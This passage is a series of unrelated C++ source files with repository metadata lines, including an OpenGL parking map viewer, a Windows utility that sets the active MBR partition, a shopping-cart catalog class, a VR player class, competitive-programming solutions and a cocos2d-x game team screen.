{
// Local storage for bmp image data.
BitMapFile *image[1];
// Load the map image.
image[0] = getbmp("test_map.bmp");
// Bind map to texture object texture[0].
glBindTexture(GL_TEXTURE_2D, texture[0]);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, image[0]->sizeX, image[0]->sizeY, 0,
GL_RGBA, GL_UNSIGNED_BYTE, image[0]->data);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
}
//writes the spot name and capacity
void writeSpotName(int index)
{
int len = allParking[index].name.length();
char *spotName = new char[len + 1];
strcpy(spotName, allParking[index].name.c_str());
glRasterPos2f(width / 2 - (len * 3.5), height - 20);
writeBitmapString((void*)font, spotName);
string num = to_string(allParking[index].capacity);
len = num.length();
char *spotCap = new char[len + 1];
strcpy(spotCap, num.c_str());
if (allParking[index].capacity > 0)
{
glRasterPos2f(width / 2 - 40, height - 40);
writeBitmapString((void*)font, "Capacity: ");
writeBitmapString((void*)font, spotCap);
}
else
{
glRasterPos2f(width / 2 - 60, height - 40);
writeBitmapString((void*)font, "Capacity: Unknown");
}
delete[] spotName;
delete[] spotCap;
}
//writes the info on the key screen
void writeKeyInfo()
{
glColor3f(1.0, 1.0, 1.0);
glRasterPos2f(width / 2 - 35, (height / 7) * 6 + 50);
writeBitmapString((void*)font, "Capacity");
glRasterPos2f(width / 2 + keyDiscOffset - 300, (height / 7) * 6);
writeBitmapString((void*)font, "Capacity is Radius: ");
glRasterPos2f(width / 2 + keyDiscOffset - 10, (height / 7) * 6);
writeBitmapString((void*)font, "Unknown Capacity: ");
glRasterPos2f(width / 2 - 20, (height / 7) * 5 + 50 - keyTypeOffset);
writeBitmapString((void*)font, "Type");
glRasterPos2f((width / 2) - keyTextOffset, (height / 7) * 5 - keyTypeOffset);
writeBitmapString((void*)font, "Wave: ");
glRasterPos2f((width / 2) - keyTextOffset - 50, (height / 7) * 4 - keyTypeOffset);
writeBitmapString((void*)font, "Inverted U: ");
glRasterPos2f((width / 2) - keyTextOffset, (height / 7) * 3 - keyTypeOffset);
writeBitmapString((void*)font, "Hoop: ");
glRasterPos2f((width / 2) - keyTextOffset - 75, (height / 7) * 2 - keyTypeOffset);
writeBitmapString((void*)font, "Post and Ring: ");
glRasterPos2f((width / 2) - keyTextOffset - 25, (height / 7) * 1 - keyTypeOffset);
writeBitmapString((void*)font, "Unknown: ");
}
// Drawing routine.
void drawScene(void)
{
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glLoadIdentity();
if (showMap)
{
//draw school map (thanks Google)
glBindTexture(GL_TEXTURE_2D, texture[0]);
glBegin(GL_POLYGON);
glTexCoord2f(0.0, 0.0); glVertex3f(0.0, 0.0, 0.0);
glTexCoord2f(1.0, 0.0); glVertex3f(width, 0.0, 0.0);
glTexCoord2f(1.0, 1.0); glVertex3f(width, height, 0.0);
glTexCoord2f(0.0, 1.0); glVertex3f(0.0, height, 0.0);
glEnd();
glDisable(GL_TEXTURE_2D);
//draw parking discs
for (int i = 0; i < inRange; i++)
{
string type = allParking[i].type;
float x = allParking[i].x;
float y = allParking[i].y;
float capacity = getCapacity(allParking[i].capacity);
//disk color is controlled by type
if (type == "Wave") //waves are teal
{
glColor3f(0.0, 0.6, 0.6);
}
else if (type == "Inverted U") //inverted u are yellow
{
glColor3f(1.0, 1.0, 0.15);
}
else if (type == "Hoop") //hoops are green
{
glColor3f(0.5, 1.0, 0.0);
}
else if (type == "Post and Ring") //post and ring are red
{
glColor3f(1.0, 0.1, 0.1);
}
else //unknown types are orange
{
glColor3f(1.0, 0.65, 0.0);
}
//disc size is controlled by capacity
drawParking(capacity, width - getXOffset(x), height - getYOffset(y), 0.0);
}
glColor3f(1.0, 1.0, 1.0);
if (showName)
{
writeSpotName(nameIndex);
}
glEnable(GL_TEXTURE_2D);
}
else
{
glDisable(GL_TEXTURE_2D);
glColor3f(0.25, 0.25, 0.25);
glBegin(GL_POLYGON);
glVertex3f(0.0, 0.0, 0.0);
glVertex3f(width, 0.0, 0.0);
glVertex3f(width, height, 0.0);
glVertex3f(0.0, height, 0.0);
glEnd();
writeKeyInfo();
glColor3f(0.75, 0.75, 0.75);
drawParking(-20, width / 2 + keyDiscOffset + 100 + 75, (height / 7) * 6, 0.0);
drawParking(20, width / 2 + keyDiscOffset - 100, (height / 7) * 6, 0.0);
//wave
glColor3f(0.0, 0.6, 0.6);
drawParking(20, width / 2 + keyDiscOffset, (height / 7) * 5 - keyTypeOffset, 0.0);
//inverted u
glColor3f(1.0, 1.0, 0.15);
drawParking(20, width / 2 + keyDiscOffset, (height / 7) * 4 - keyTypeOffset, 0.0);
//hoop
glColor3f(0.5, 1.0, 0.0);
drawParking(20, width / 2 + keyDiscOffset, (height / 7) * 3 - keyTypeOffset, 0.0);
//post and ring
glColor3f(1.0, 0.1, 0.1);
drawParking(20, width / 2 + keyDiscOffset, (height / 7) * 2 - keyTypeOffset, 0.0);
//unknown
glColor3f(1.0, 0.65, 0.0);
drawParking(20, width / 2 + keyDiscOffset, (height / 7) * 1 - keyTypeOffset, 0.0);
glColor3f(1.0, 1.0, 1.0);
glEnable(GL_TEXTURE_2D);
}
glFlush();
}
// Initialization routine.
void setup(void)
{
glClearColor(1.0, 1.0, 1.0, 0.0);
// Turn on OpenGL texturing.
glEnable(GL_TEXTURE_2D);
read_file();
loadExternalTextures();
}
// OpenGL window reshape routine.
void resize(int w, int h)
{
glViewport(0, 0, w, h);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
glOrtho(0.0, width, 0.0, height, -1.0, 1.0);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
}
// Keyboard input processing routine.
void keyInput(unsigned char key, int x, int y)
{
switch (key)
{
case 27:
exit(0);
break;
default:
glutPostRedisplay();
break;
}
}
void specialKeyInput(int key, int x, int y)
{
switch (key)
{
case GLUT_KEY_SHIFT_L:
showMap = false;
break;
case GLUT_KEY_SHIFT_R:
showMap = false;
break;
default:
glutPostRedisplay();
break;
}
glutPostRedisplay();
}
void keyBoardUp(int key, int x, int y)
{
switch (key)
{
case GLUT_KEY_SHIFT_L:
showMap = true;
break;
case GLUT_KEY_SHIFT_R:
showMap = true;
default:
glutPostRedisplay();
break;
}
glutPostRedisplay();
}
//checks if mousing over a spot
void mouseOver(int x, int y)
{
showName = false;
glutPostRedisplay();
for (int i = 0; i < inRange; i++)
{
parking spot = allParking[i];
float spotX = getXOffset(spot.x);
float spotY = getYOffset(spot.y);
float cap = getCapacity(spot.capacity);
if (cap < 0)
{
cap = -cap;
}
if ((x >= width - spotX - cap) && (x <= width - spotX + cap) &&
(y >= spotY - cap) && (y <= spotY + cap))
{
nameIndex = i;
showName = true;
glutPostRedisplay();
}
}
}
// Main routine.
int main(int argc, char **argv)
{
printInteraction();
glutInit(&argc, argv);
glutInitContextVersion(2, 1);
glutInitContextProfile(GLUT_COMPATIBILITY_PROFILE);
glutInitDisplayMode(GLUT_SINGLE | GLUT_RGBA);
glutInitWindowSize(width, height);
glutInitWindowPosition(0, 0);
glutCreateWindow("bike_map.cpp");
glutDisplayFunc(drawScene);
glutReshapeFunc(resize);
glutKeyboardFunc(keyInput);
glutSpecialFunc(specialKeyInput);
glutSpecialUpFunc(keyBoardUp);
glutPassiveMotionFunc(mouseOver);
glewExperimental = GL_TRUE;
glewInit();
setup();
glutMainLoop();
} |
0b57f5483b7882f11ef81b4dbe96412b1f246ea7 | 6b40e9dccf2edc767c44df3acd9b626fcd586b4d | /NT/base/ntsetup/opktools/setact/setact.cpp | 76a8c9992799399149f4e50688417879173b6157 | [] | no_license | jjzhang166/WinNT5_src_20201004 | 712894fcf94fb82c49e5cd09d719da00740e0436 | b2db264153b80fbb91ef5fc9f57b387e223dbfc2 | refs/heads/Win2K3 | 2023-08-12T01:31:59.670176 | 2021-10-14T15:14:37 | 2021-10-14T15:14:37 | 586,134,273 | 1 | 0 | null | 2023-01-07T03:47:45 | 2023-01-07T03:47:44 | null | UTF-8 | C++ | false | false | 11,502 | cpp | setact.cpp |
/*++
Copyright (c) 2000 Microsoft Corporation
Module Name:
setact.cpp
Abstract:
Gets/Sets the active partition on an MBR disk
Author:
Vijay Jayaseelan (vijayj) 30-Oct-2000
Revision History:
None
--*/
#include <iostream>
#include <string>
#include <exception>
#include <windows.h>
#include <winioctl.h>
#include <io.h>
#include <tchar.h>
//
// Usage format
//
std::wstring Usage(L"Usage: setactive.exe hardisk-number [partition-number]");
//
// Helper dump operators
//
std::ostream& operator<<(std::ostream &os, const std::wstring &str) {
FILE *OutStream = (&os == &std::cerr) ? stderr : stdout;
fwprintf(OutStream, str.c_str());
return os;
}
//
// Exceptions
//
struct ProgramException : public std::exception {
virtual void Dump(std::ostream &os) = 0;
};
//
// Abstracts a Win32 error
//
struct W32Error : public ProgramException {
DWORD ErrorCode;
W32Error(DWORD ErrCode) : ErrorCode(ErrCode){}
void Dump(std::ostream &os) {
WCHAR MsgBuffer[4096];
MsgBuffer[0] = UNICODE_NULL;
DWORD CharCount = FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
ErrorCode,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
MsgBuffer,
sizeof(MsgBuffer)/sizeof(WCHAR),
NULL);
if (CharCount) {
std::wstring Msg(MsgBuffer);
os << Msg;
} else {
os << std::hex << ErrorCode;
}
}
};
//
// Invalid arguments
//
struct InvalidArguments : public ProgramException {
const char *what() const throw() {
return "Invalid Arguments";
}
void Dump(std::ostream &os) {
os << what() << std::endl;
}
};
//
// Invalid arguments
//
struct ProgramUsage : public ProgramException {
std::wstring PrgUsage;
ProgramUsage(const std::wstring &Usg) : PrgUsage(Usg) {}
const char *what() const throw() {
return "Program Usage exception";
}
void Dump(std::ostream &os) {
os << Usage << std::endl;
}
};
//
// Argument cracker
//
struct ProgramArguments {
ULONG DiskNumber;
ULONG PartitionNumber;
BOOLEAN Set;
ProgramArguments(int Argc, wchar_t *Argv[]) {
Set = FALSE;
if (Argc > 1) {
DiskNumber = (ULONG)_ttol(Argv[1]);
if (Argc > 2) {
PartitionNumber = (ULONG)_ttol(Argv[2]);
Set = TRUE;
if (!PartitionNumber) {
throw new ProgramUsage(Usage);
}
}
} else {
throw new ProgramUsage(Usage);
}
}
friend std::ostream operator<<(std::ostream &os, const ProgramArguments &Args) {
os << "Arguments : DiskNumber = "
<< std::dec << Args.DiskNumber << ", "
<< std::dec << Args.PartitionNumber << std::endl;
return os;
}
};
//
// HardDisk abstraction
//
class W32HardDisk {
public:
W32HardDisk(ULONG DiskNum) : DiskNumber(DiskNum), Dirty(FALSE) {
WCHAR DiskName[MAX_PATH];
_stprintf(DiskName, TEXT("\\\\.\\PHYSICALDRIVE%d"), DiskNumber);
DiskHandle = CreateFileW(DiskName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (DiskHandle == INVALID_HANDLE_VALUE) {
throw new W32Error(GetLastError());
}
DriveLayout = NULL;
DriveLayoutSize = 0;
GetPartitionInformation();
}
virtual ~W32HardDisk() {
if (IsDirty() && !CommitChanges()) {
throw new W32Error(GetLastError());
}
delete []((PBYTE)(DriveLayout));
CloseHandle(DiskHandle);
}
BOOLEAN IsDirty() const { return Dirty; }
ULONG GetPartitionCount() const { return DriveLayout->PartitionCount; }
PARTITION_STYLE GetDiskStyle() const {
return (PARTITION_STYLE)(DriveLayout->PartitionStyle);
}
const PARTITION_INFORMATION_EX* GetPartition(ULONG PartitionNumber) const {
PPARTITION_INFORMATION_EX PartInfo = NULL;
for (ULONG Index = 0; Index < DriveLayout->PartitionCount; Index++) {
PPARTITION_INFORMATION_EX CurrPartInfo =
DriveLayout->PartitionEntry + Index;
if (CurrPartInfo->PartitionNumber == PartitionNumber) {
PartInfo = CurrPartInfo;
break;
}
}
return PartInfo;
}
BOOLEAN SetPartitionInfo(ULONG PartitionNumber,
const PARTITION_INFORMATION_EX &PartInformation) {
BOOLEAN Result = FALSE;
PPARTITION_INFORMATION_EX PartInfo = (PPARTITION_INFORMATION_EX)GetPartition(PartitionNumber);
if (PartInfo) {
*PartInfo = PartInformation;
PartInfo->PartitionNumber = PartitionNumber;
Dirty = Result = TRUE;
}
return Result;
}
const PARTITION_INFORMATION_EX* GetActivePartition(BOOLEAN Rescan = FALSE){
if (Rescan) {
GetPartitionInformation();
}
PPARTITION_INFORMATION_EX ActivePartition = NULL;
if (GetDiskStyle() == PARTITION_STYLE_MBR) {
for (ULONG Index = 0; Index < GetPartitionCount(); Index++) {
PPARTITION_INFORMATION_EX PartInfo = DriveLayout->PartitionEntry + Index;
if (PartInfo->Mbr.BootIndicator) {
ActivePartition = PartInfo;
break;
}
}
}
return ActivePartition;
}
BOOLEAN SetActivePartition(ULONG PartitionNumber) {
BOOLEAN Result = FALSE;
if (GetDiskStyle() == PARTITION_STYLE_MBR) {
//
// Set the give partition as active and turn off all the other
// active bits on other partitions
//
const PARTITION_INFORMATION_EX *PartInfo = GetPartition(PartitionNumber);
if (PartInfo) {
//
// NOTE : Does not check for primary partition
//
for (ULONG Index = 0; Index < GetPartitionCount(); Index++) {
PPARTITION_INFORMATION_EX PartInfo = (DriveLayout->PartitionEntry + Index);
if (PartInfo->PartitionNumber == PartitionNumber) {
Dirty = TRUE;
PartInfo->Mbr.BootIndicator = TRUE;
PartInfo->RewritePartition = TRUE;
Result = TRUE;
} else if (CanActivatePartition(*PartInfo)) {
PartInfo->Mbr.BootIndicator = FALSE;
PartInfo->RewritePartition = TRUE;
Dirty = TRUE;
}
}
}
}
if (Result) {
Result = CommitChanges();
if (!Result) {
throw new W32Error(GetLastError());
}
}
return Result;
}
protected:
VOID GetPartitionInformation() {
//
// Allocate space for 128 partitions
//
DWORD ErrorStatus = ERROR_MORE_DATA;
ULONG Iteration = 0;
if (DriveLayout && DriveLayoutSize) {
delete [](PBYTE)(DriveLayout);
}
do {
Iteration++;
DriveLayoutSize = sizeof(PARTITION_INFORMATION_EX) * (128 * Iteration) ;
DriveLayout = (PDRIVE_LAYOUT_INFORMATION_EX) new BYTE[DriveLayoutSize];
ZeroMemory(DriveLayout, DriveLayoutSize);
if (DriveLayout) {
DWORD BytesReturned = 0;
if (DeviceIoControl(DiskHandle,
IOCTL_DISK_GET_DRIVE_LAYOUT_EX,
NULL,
0,
DriveLayout,
DriveLayoutSize,
&BytesReturned,
NULL)) {
ErrorStatus = 0;
} else {
ErrorStatus = GetLastError();
}
} else {
throw new W32Error(GetLastError());
}
}
while (ErrorStatus == ERROR_MORE_DATA);
if (ErrorStatus) {
throw new W32Error(GetLastError());
}
}
//
// Helper methods
//
BOOLEAN CanActivatePartition(const PARTITION_INFORMATION_EX &PartInfo) const {
return (PartInfo.PartitionNumber && PartInfo.StartingOffset.QuadPart &&
PartInfo.PartitionLength.QuadPart &&
(GetDiskStyle() == PARTITION_STYLE_MBR) &&
!IsContainerPartition(PartInfo.Mbr.PartitionType) &&
IsRecognizedPartition(PartInfo.Mbr.PartitionType));
}
BOOLEAN CommitChanges() {
DWORD BytesReturned = 0;
return DeviceIoControl(DiskHandle,
IOCTL_DISK_SET_DRIVE_LAYOUT_EX,
DriveLayout,
DriveLayoutSize,
NULL,
0,
&BytesReturned,
NULL) ? TRUE : FALSE;
}
//
// data members
//
ULONG DiskNumber;
HANDLE DiskHandle;
BOOLEAN Dirty;
ULONG DriveLayoutSize;
PDRIVE_LAYOUT_INFORMATION_EX DriveLayout;
};
//
// main() entry point
//
int
__cdecl
wmain(
int Argc,
wchar_t *Argv[]
)
{
int Result = 0;
try {
ProgramArguments Args(Argc, Argv);
W32HardDisk Disk(Args.DiskNumber);
if (Args.Set) {
Disk.SetActivePartition(Args.PartitionNumber);
}
const PARTITION_INFORMATION_EX * ActivePart = Disk.GetActivePartition();
if (ActivePart) {
std::cout << std::dec << ActivePart->PartitionNumber
<< " is the Active Partition on Disk "
<< std::dec << Args.DiskNumber << std::endl;
} else {
std::cout << "No active partition on Disk "
<< std::dec << Args.DiskNumber << std::endl;
}
}
catch(ProgramException *PrgExp) {
Result = 1;
PrgExp->Dump(std::cout);
delete PrgExp;
} catch (exception *Exp) {
Result = 1;
std::cout << Exp->what() << std::endl;
}
return Result;
}
|
aa6e1f1b4b3b1157ae071d29f77b8b175392b5a3 | 96c88a36d52fb80a2664398ba6600e0b8c8a6611 | /catalog.cpp | 8aaca3403b7774ad5ec6fe756f53bd77357c35db | [] | no_license | jminsol/Shopping-cart | 3c8be2b937c61ee44c3c37ad9db4cce95766becb | 1daf1c16ee271466ed03c795d2d682b531109ab1 | refs/heads/master | 2021-01-02T01:47:32.742775 | 2020-02-10T06:38:55 | 2020-02-10T06:38:55 | 239,439,916 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,580 | cpp | catalog.cpp | //
// main.cpp
// HW 7
//
// Created by JeongMinsol on 11/17/19.
// Copyright © 2019 JeongMinsol. All rights reserved.
//
#include <iostream>
#include <fstream>
#include <map>
#include <vector>
#include <iomanip> // for setprecision(2)
#include "catalog.h"
#include "item.h"
//default catalog
Catalog:: Catalog() : Item(){
Item apple("4403", "apple", 50),
banana("4468", "banana", 29),
cantaloupe("4093", "cantaloupe", 299);
catl.insert(pair<string, Item*> ("4403", new Item (apple)));
catl.insert(pair<string, Item*> ("4468", new Item (banana)));
catl.insert(pair<string, Item*> ("4093", new Item (cantaloupe)));
}
//When they receive one string parameter
Catalog:: Catalog(const string& filename) {
//read text file
ifstream cart;
cart.open(filename);
if(!cart.good())
cerr << "File is not open" << endl;
else{
while(cart.good()){
//read id and price each since they are seperated with space
while(cart >> id >> price){
//get the rest of string for description
getline(cart, desc);
catl.insert(pair<string, Item*> (id, new Item(id, desc, price)));
}
}
}
}
//Support get(string)
//Retreieve info from id of map
Item& Catalog:: get(string input){
return *catl[input];
}
// print the info from catalog
ostream & operator<<(ostream & out, Catalog & obj){
auto allCatl = obj.catl;
for (auto it = allCatl.begin(); it!= allCatl.end(); it ++)
out << *it -> second;
return out;
}
|
e4fbd3fe06bf62be98ab1c73d0dcae81bb4b629c | 893b7a713c98cf11329ca310709f80599339b8ed | /FluidSim/Flux.h | 983ee14d5f4c75e7374bcfad9d567de54ac577d8 | [] | no_license | camka14/Projects | d758ac3f40eed728ef76cbae0daf27e94f3553b9 | 18113499f5621107a6ef58959e7f3e2f09527387 | refs/heads/master | 2022-04-09T01:02:31.038989 | 2022-04-08T15:52:39 | 2022-04-08T15:52:39 | 151,024,819 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 193 | h | Flux.h | #ifndef FLUX_H
#define FLUX_H
#include "Cell.h"
#include <cmath>
class Flux
{
private:
/* data */
public:
Flux();
~Flux();
void calcFlux(std::vector<Cell> & cells);
};
#endif |
6676721ce7c4884b33cd8ce4d72f0becaf0caa98 | 7cdc64d154202698eaffdd43e840de03120342d6 | /Shared/Player.h | 81012822041ae26b37027b705caff19c207a2e87 | [] | no_license | EtsuN/samVRai | 122fd665cb521e20727e1fed6d9f5eb0cab1eac5 | 45c487b71ce5ffe4a8dc800a671ec71468790808 | refs/heads/master | 2020-05-30T18:28:44.173661 | 2019-06-11T23:07:19 | 2019-06-11T23:07:19 | 189,897,114 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,740 | h | Player.h | #pragma once
#ifndef PLAYER_H
#define PLAYER_H
#include "Cube.h"
#include "Model.h"
#include "rpc/client.h"
struct PlayerInfo {
int dead = 0;
int heldWeapon = -1;
glm::mat4 headInWorld;
glm::mat4 rhandInWorld;
glm::mat4 lhandInWorld;
PlayerInfo() {
dead = 0;
heldWeapon = -1;
headInWorld = glm::mat4(1);
rhandInWorld = glm::mat4(1);
lhandInWorld = glm::mat4(1);
}
MSGPACK_DEFINE_MAP(dead, heldWeapon,
headInWorld[0][0], headInWorld[0][1], headInWorld[0][2], headInWorld[0][3],
headInWorld[1][0], headInWorld[1][1], headInWorld[1][2], headInWorld[1][3],
headInWorld[2][0], headInWorld[2][1], headInWorld[2][2], headInWorld[2][3],
headInWorld[3][0], headInWorld[3][1], headInWorld[3][2], headInWorld[3][3],
rhandInWorld[0][0], rhandInWorld[0][1], rhandInWorld[0][2], rhandInWorld[0][3],
rhandInWorld[1][0], rhandInWorld[1][1], rhandInWorld[1][2], rhandInWorld[1][3],
rhandInWorld[2][0], rhandInWorld[2][1], rhandInWorld[2][2], rhandInWorld[2][3],
rhandInWorld[3][0], rhandInWorld[3][1], rhandInWorld[3][2], rhandInWorld[3][3],
lhandInWorld[0][0], lhandInWorld[0][1], lhandInWorld[0][2], lhandInWorld[0][3],
lhandInWorld[1][0], lhandInWorld[1][1], lhandInWorld[1][2], lhandInWorld[1][3],
lhandInWorld[2][0], lhandInWorld[2][1], lhandInWorld[2][2], lhandInWorld[2][3],
lhandInWorld[3][0], lhandInWorld[3][1], lhandInWorld[3][2], lhandInWorld[3][3]
)
};
class Player
{
private:
Model* head;
Model* handSphere;
public:
bool isMe;
int heldWeapon;
glm::mat4 weaponToPlayer;
glm::mat4 headToPlayer;
glm::mat4 rhandToPlayer;
glm::mat4 lhandToPlayer;
glm::mat4 toWorld;
PlayerInfo* info;
//constant
float handScale = 0.05;
float headScale = 0.2;
Player(glm::mat4 M, bool isMe, Model* sphere, Model* headModel) {
toWorld = M;
this->isMe = isMe;
handSphere = sphere;
head = headModel;
heldWeapon = -1;
headToPlayer = glm::mat4(1);
rhandToPlayer = glm::translate(glm::mat4(1), glm::vec3(1, -1, 0));
lhandToPlayer = glm::translate(glm::mat4(1), glm::vec3(-1, -1, 0));
info = new PlayerInfo();
getPlayerInfo(); // update info
};
void updatePlayer(glm::mat4 h, glm::mat4 r, glm::mat4 l) {
headToPlayer = h;
rhandToPlayer = r;
lhandToPlayer = l;
};
void draw(unsigned int shader, const glm::mat4& p = glm::mat4(1), const glm::mat4& v = glm::mat4(1)) {
glUseProgram(shader);
//Assuming uniform is set
//Head
if (!isMe) {
glUniform3fv(glGetUniformLocation(shader, "objectColor"), 1, &(glm::vec3(1, 1, 1))[0]);
glUniformMatrix4fv(glGetUniformLocation(shader, "model"), 1, GL_FALSE, &(getHeadPose()
* glm::scale(glm::mat4(1), glm::vec3(headScale)) * glm::rotate(glm::mat4(1), glm::pi<float>(), glm::vec3(0, 1, 0)) )[0][0]);
head->Draw(shader);
}
//Left Hand
glUniform3fv(glGetUniformLocation(shader, "objectColor"), 1, &(glm::vec3(1, 0, 1))[0]);
glUniformMatrix4fv(glGetUniformLocation(shader, "model"), 1, GL_FALSE, &(getLHandPose() * glm::scale(glm::mat4(1), glm::vec3(handScale)))[0][0]);
handSphere->Draw(shader);
//Right Hand
glUniform3fv(glGetUniformLocation(shader, "objectColor"), 1, &(glm::vec3(1, 1, 0))[0]);
glUniformMatrix4fv(glGetUniformLocation(shader, "model"), 1, GL_FALSE, &(getRHandPose() * glm::scale(glm::mat4(1), glm::vec3(handScale)))[0][0]);
handSphere->Draw(shader);
};
glm::mat4 getHeadPose() {
return toWorld * headToPlayer;
};
glm::mat4 getLHandPose() {
return toWorld * lhandToPlayer;
};
glm::mat4 getRHandPose() {
return toWorld * rhandToPlayer;
};
PlayerInfo* getPlayerInfo() {
info->headInWorld = getHeadPose();
info->rhandInWorld = getRHandPose();
info->lhandInWorld = getLHandPose();
info->heldWeapon = heldWeapon;
return info;
};
};
#endif |
dc3c9b775dbf1e3d504a2ec79fe6b27518be2c02 | df70c31774c6a368b4d91cf7d33b7a6ddfc012ce | /738.cpp | b3631fe580e2af38f356aa8bacc3a3cedd0ebcc2 | [] | no_license | Nevermore1994/LeetCode | df06d507ad530f7016a3b4b1bcbf158256755016 | 1209ef2596c00033a56a2be688903c146a3b01ee | refs/heads/master | 2023-01-30T23:11:08.804613 | 2020-12-16T06:08:05 | 2020-12-16T06:08:05 | 160,529,854 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 396 | cpp | 738.cpp | int monotoneIncreasingDigits(int N) {
string s = to_string(N);
for(int i = 0; i < s.size() - 1; i++){
if(s[i + 1] < s[i]){
s[i] -= 1;
while(i < s.size() - 1)
{
s[i + 1] = '9';
i++;
}
i = -1;
}
}
return stoi(s);
} |
c795eb960151c26fe5a5a17332569c2343c73031 | 94db123479160ae5bfcd567dc4f28deb184476c3 | /ABC171/d.cpp | 315a3074ecd97452bcc2ea73e27a6fcfbb18c8f4 | [
"MIT"
] | permissive | basuki57/Atcoder | 736ebc9904baee31e2e4c9f83bd5a19c97e0d8f8 | f22d9fc48190ab0d8b590f17ba211f43374f2954 | refs/heads/master | 2022-11-29T14:42:30.466763 | 2020-08-07T14:28:38 | 2020-08-07T14:28:38 | 273,926,989 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 527 | cpp | d.cpp | #include<bits/stdc++.h>
using namespace std;
typedef long long int ll;
void solve(){
ll n, q;
cin >> n;
ll a[n], cnt = 0;
map<ll, ll> mp;
for(ll i = 0; i < n; i++) cin >> a[i], cnt += a[i], mp[a[i]]++;
cin >> q;
while(q--){
ll x, y;
cin >> x >> y;
cnt += (-x*mp[x] + y*mp[x]);
mp[y] += mp[x];
mp[x] = 0;
cout << cnt << endl;
}
}
int main(){
ios_base::sync_with_stdio(false);
cin.tie(0);
//int t;cin>>t;while(t--)
solve();
return 0;
}
|
ea5adea64994686e6d6b75c9c7bd1d867f9a10cf | 0c853f19bae66c743d22580b24eb42201f42c441 | /Classes/TeamLayer.cpp | 9eb454106581d3cef1ce7f4c4c2bc9afd611b3c3 | [
"MIT"
] | permissive | jane8384/ShuiHuStory | af16cd48fd9deaeaab6090e3ae1fc8f0e7e5e4b0 | 691ce83cbd4b10a8ca3e5d2276a3134a7db975a7 | refs/heads/master | 2021-06-18T18:05:37.060138 | 2017-05-15T01:42:30 | 2017-05-15T01:42:30 | null | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 8,791 | cpp | TeamLayer.cpp | /*************************************************
// Copyright (C), 2016-2020, CS&S. Co., Ltd.
// File name: TeamLayer.cpp
// Author: Metoor
// Version: 1.0
// Date: 2016/11/14
// Contact: caiufen@qq.com
// Description: create by vs2015pro
*************************************************/
#include "TeamLayer.h"
#include "cocostudio/CocoStudio.h"
#include "AudioManager.h"
#include "GameData.h"
#include "HeroCard.h"
#include "DisplayLayer.h"
#include "AudioManager.h"
#include "DisplayListItem.h"
#include "DialogManager.h"
#include "I18N.h"
USING_NS_CC;
using namespace ui;
using namespace std;
TeamLayer::TeamLayer()
:_selectTag(none),
_displayLayer(nullptr)
{
}
TeamLayer::~TeamLayer()
{
}
bool TeamLayer::init()
{
if (!Layer::init())
{
return false;
}
loadUI();
addTouchEventListener();
updateData();
return true;
}
void TeamLayer::loadUI()
{
auto node = CSLoader::createNode(csbName);
addChild(node);
for (int index = 0; index < max_battle_hero_num; ++index)
{
_nameLabel[index] = node->getChildByName<Text*>(StringUtils::format(nameLabel.c_str(), index));
_heroIco[index] = node->getChildByName<Sprite*>(StringUtils::format(heroIcoSprite.c_str(), index));
}
}
void TeamLayer::updateData()
{
auto battleArray = GameData::getInstance()->getBattleHeroArray();
for (int pos = 0; pos < max_battle_hero_num; ++pos)
{
int id = battleArray[pos];
if (id < init_unique_num)
{
//如果id == -1, 表示该位置没有英雄,显示默认图片
if (id == -1)
{
_heroIco[pos]->setSpriteFrame(addIco);
_nameLabel[pos]->setString("");
}
}
else
{
//获得该位置上的英雄信息
auto property = GameData::getInstance()->getHeroCardById(id)->getProperty();
string icoName = StringUtils::format(heroName.c_str(), property->type);
//设置显示头像
_heroIco[pos]->setSpriteFrame(icoName);
//设置显示的名字
_nameLabel[pos]->setString(*(property->name));
}
}
}
void TeamLayer::setUnBattleBtn()
{
auto objIdVector = _displayLayer->getObjectIdVector();
for (unsigned int index = 0; index < objIdVector->size(); ++index)
{
int id = objIdVector->at(index);
if (GameData::getInstance()->isBattleHero(id))
{
//如果英雄已经上阵了,则换成下阵按钮图片
auto item = _displayLayer->getObjectItemByIndex(index);
item->setBtnTexture(btnUnbattleHero1, btnUnbattleHero2);
//如果英雄已经上阵,但是位置不是当前选中的位置,则不能下阵
if (id != GameData::getInstance()->getBattleHeroId(_selectTag))
{
item->setBtnEnable(false);
}
}
}
}
int TeamLayer::getHeroIcoisContainPoint(cocos2d::Point & point)
{
int result = none;
for (int pos = 0; pos < max_battle_hero_num; ++pos)
{
auto sp = _heroIco[pos];
//如果点在任何一个英雄图标里面,则返回所在的标签
if(sp->getBoundingBox().containsPoint(point))
{
int tag = sp->getTag();
//判断选中的是不是自己
if (tag != _selectTag)
{
result = tag;
break;
}
else
{
//如果是自己,则忽略继续向下查找
continue;
}
}
}
return result;
}
void TeamLayer::addTouchEventListener()
{
auto listener = EventListenerTouchOneByOne::create();
listener->onTouchBegan = CC_CALLBACK_2(TeamLayer::onTouchBegan, this);
listener->onTouchMoved = CC_CALLBACK_2(TeamLayer::onTouchMoved, this);
listener->onTouchEnded = CC_CALLBACK_2(TeamLayer::onTouchEnded, this);
_eventDispatcher->addEventListenerWithSceneGraphPriority(listener, this);
}
bool TeamLayer::onTouchBegan(cocos2d::Touch * touch, cocos2d::Event * event)
{
Point touchPos = touch->getLocation();
_selectTag = getHeroIcoisContainPoint(touchPos);
if (_selectTag < 0)
{
